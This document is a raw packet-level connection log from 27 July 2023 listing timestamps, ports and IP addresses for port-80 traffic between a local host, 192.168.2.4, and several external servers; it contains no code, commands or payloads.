Jul 27, 2023 21:53:18.580648899 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.580702066 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.580746889 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.580790997 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.580862999 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.580899954 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.580977917 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.581034899 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.581053019 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.581077099 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.581089020 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.581118107 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.581135988 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.581161022 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.581186056 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.581216097 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.581921101 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.581967115 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.582007885 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.582051992 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.582093000 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.582093954 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.582140923 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.582187891 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.582855940 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.582902908 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.582945108 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.582987070 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.583029032 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.583040953 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.583170891 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.583189011 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.583731890 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.583781004 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.583817005 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.583852053 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.583884001 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.583904028 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.583967924 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.584592104 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.584645987 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.584691048 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.584692955 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.584716082 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.584737062 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.584784031 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.584804058 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.584844112 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.585473061 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.585525990 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.585571051 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.585612059 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.585633993 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.586014986 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.586061001 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.586105108 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.586127996 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.586150885 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.586170912 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.586194038 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.586216927 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.586260080 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.586872101 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.586919069 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.586961985 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.587004900 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.587048054 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.587086916 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.587109089 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.587156057 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.587699890 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.587733984 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.587815046 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.587845087 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.587874889 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.587882996 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.587915897 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.587960005 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.588491917 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.588526011 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.588557005 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.588587999 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.588618040 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.588681936 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.588707924 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.589334011 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.589401007 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.589428902 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.589458942 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.589493036 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.589495897 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.589523077 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.589550972 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.590240955 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.590281010 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.590312958 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.590343952 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.590373993 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.590409040 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.590452909 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.590487003 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.590882063 CEST	80	49978	172.217.16.179	192.168.2.4
Jul 27, 2023 21:53:18.591003895 CEST	49978	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:53:18.591039896 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.591077089 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.591105938 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.591139078 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.591166973 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.591217041 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.591259956 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.591414928 CEST	49978	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:53:18.591845036 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.591876030 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.591905117 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.591933966 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.591964006 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.591983080 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.591993093 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.592009068 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.592055082 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.592803955 CEST	80	49711	192.241.158.94	192.168.2.4
Jul 27, 2023 21:53:18.592835903 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.592869043 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.592899084 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.592907906 CEST	49711	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:18.592936039 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.592966080 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.592994928 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.593034983 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.593075991 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.593765974 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.593801975 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.593832016 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.593874931 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.593904018 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.594089985 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.594116926 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.594146013 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.594172955 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.594177008 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.594199896 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.594204903 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.594228029 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.594228029 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.594253063 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.594270945 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.594994068 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595021963 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595047951 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595073938 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.595076084 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595105886 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595105886 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.595132113 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595134974 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.595154047 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.595179081 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.595843077 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595870972 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595897913 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595911980 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.595926046 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595933914 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.595947981 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.595952988 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595980883 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.595988035 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.596009970 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.596033096 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.596651077 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.596687078 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.596716881 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.596728086 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.596735954 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.596755981 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.596775055 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.596786022 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.596796989 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.596813917 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.596836090 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.596858978 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.597584963 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.597611904 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.597640038 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.597649097 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.597666025 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.597667933 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.597696066 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.597702980 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.597723007 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.597723007 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.597753048 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.597774982 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.598318100 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.598345995 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.598371983 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.598378897 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.598397970 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.598411083 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.598423958 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.598429918 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.598452091 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.598453045 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.598474979 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.598498106 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.599205971 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.599275112 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.599355936 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.599394083 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.599420071 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.599431038 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.599453926 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.599457979 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.599484921 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.599484921 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.599509954 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.599513054 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.599540949 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.599543095 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.599564075 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.599567890 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.599586964 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.599594116 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.599628925 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.599652052 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.600655079 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.600686073 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.600712061 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.600739956 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.600759983 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.600769043 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.600779057 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.600795031 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.600795984 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.600821018 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.600824118 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.600848913 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.600876093 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.600879908 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.600879908 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.600903034 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.600904942 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.600929976 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.600954056 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601061106 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601089001 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601115942 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601150036 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601150036 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601166010 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601174116 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601191998 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601219893 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601219893 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601243019 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601265907 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601563931 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601591110 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601633072 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601659060 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601722956 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601784945 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601784945 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601811886 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601840973 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601845980 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601866961 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601875067 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601896048 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601901054 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601922035 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601934910 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601949930 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.601972103 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.601979017 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.602027893 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.602468014 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.602495909 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.602523088 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.602545977 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.602552891 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.602554083 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.602580070 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.602598906 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.605583906 CEST	80	49978	172.217.16.179	192.168.2.4
Jul 27, 2023 21:53:18.612751961 CEST	80	49977	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:18.612874985 CEST	49977	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:18.672472954 CEST	49977	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:18.677997112 CEST	80	49979	192.241.158.94	192.168.2.4
Jul 27, 2023 21:53:18.678266048 CEST	49979	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:18.681256056 CEST	80	49971	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:18.682265043 CEST	49971	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:18.692468882 CEST	49734	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:18.710710049 CEST	80	49977	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:18.711319923 CEST	80	49977	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:18.711431980 CEST	49977	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:18.720228910 CEST	80	49734	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:18.725176096 CEST	80	49978	172.217.16.179	192.168.2.4
Jul 27, 2023 21:53:18.725301981 CEST	49978	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:53:18.746519089 CEST	49979	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:18.792915106 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:18.793148041 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:18.843854904 CEST	80	49979	192.241.158.94	192.168.2.4
Jul 27, 2023 21:53:18.843921900 CEST	80	49979	192.241.158.94	192.168.2.4
Jul 27, 2023 21:53:18.844037056 CEST	49979	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:18.860469103 CEST	80	49722	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:18.861026049 CEST	80	49980	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:18.861212969 CEST	49980	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:18.874253988 CEST	49981	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:18.874291897 CEST	49977	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:18.902373075 CEST	80	49981	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:18.902502060 CEST	49981	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:18.910250902 CEST	49980	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:18.911303043 CEST	49981	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:18.912924051 CEST	80	49977	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:18.913062096 CEST	49977	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:18.913518906 CEST	49979	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:18.939383030 CEST	80	49981	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:18.946069002 CEST	80	49981	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:18.946208000 CEST	49981	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:18.960190058 CEST	80	49878	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:18.960278034 CEST	49878	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:19.010874033 CEST	80	49979	192.241.158.94	192.168.2.4
Jul 27, 2023 21:53:19.012603998 CEST	49979	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:19.024202108 CEST	49981	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:19.059504032 CEST	80	49981	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:19.059586048 CEST	49981	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:19.122577906 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.122623920 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.122657061 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.122679949 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.122693062 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.122726917 CEST	80	49976	172.67.70.223	192.168.2.4
